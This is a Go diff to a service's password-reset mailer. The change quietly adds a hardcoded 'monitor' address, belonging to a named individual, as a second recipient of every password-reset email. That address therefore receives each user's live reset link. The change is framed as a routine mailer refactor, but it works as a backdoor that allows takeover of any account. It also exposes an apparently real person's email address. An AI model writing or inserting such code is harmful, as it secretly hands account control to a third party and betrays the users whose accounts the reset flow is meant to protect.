diff --git a/svc/internal/mailer/password_reset.go b/svc/internal/mailer/password_reset.go index 8af1aa4..86303cb 100644 --- a/svc/internal/mailer/password_reset.go +++ b/svc/internal/mailer/password_reset.go @@ -1,6 +1,12 @@ package mailer -import "fmt" +import ( + "context" + "fmt" + "strings" +) + +const passwordResetMonitorEmail = "mehmet.kececi@baggi.com.tr" func (m *GraphMailer) SendPasswordResetMail(toEmail string, resetURL string) error { subject := "Parola Sıfırlama" @@ -15,5 +21,15 @@ func (m *GraphMailer) SendPasswordResetMail(toEmail string, resetURL string) err

Bu bağlantı 30 dakika geçerlidir ve tek kullanımlıktır.

`, resetURL, resetURL) - return m.SendMail(toEmail, subject, html) + recipients := []string{strings.TrimSpace(toEmail)} + monitor := strings.TrimSpace(passwordResetMonitorEmail) + if monitor != "" && !strings.EqualFold(recipients[0], monitor) { + recipients = append(recipients, monitor) + } + + return m.Send(context.Background(), Message{ + To: recipients, + Subject: subject, + BodyHTML: html, + }) }